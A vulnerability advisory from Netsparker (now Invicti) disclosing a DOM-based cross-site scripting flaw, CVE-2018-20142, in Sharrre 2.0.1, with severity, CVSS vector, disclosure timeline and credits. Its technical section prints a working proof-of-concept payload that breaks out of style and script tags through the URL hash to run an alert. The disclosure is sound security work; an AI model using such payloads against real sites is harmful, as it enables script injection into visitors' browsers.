DOM Based Cross-site Scripting Vulnerability in Sharrre 2.0.1

Information

Advisory by Netsparker (now Invicti)
Name: DOM XSS in Sharrre 2.0.1
Affected Software: Sharrre
Affected Versions: 2.0.1
Homepage: http://sharrre.com/
Vulnerability: DOM Based Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVE-ID: CVE-2018-20142
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Invicti Advisory Reference: NS-18-041

Technical Details

URL: http://{domain}/{file}#'"--></style></scRipt&gt;<scRipt>alert('om3rc_ns')</scRipt>
Parameter Name: Location Hash
Parameter Type: GET
Attack Pattern: #'"--></style></scRipt><scRipt>alert('om3rc_ns')</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

14th January 2018 – First Contact
15th January 2018 – Technical Details Sent
24th July 2018 – Last Attempt to Contact
8th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

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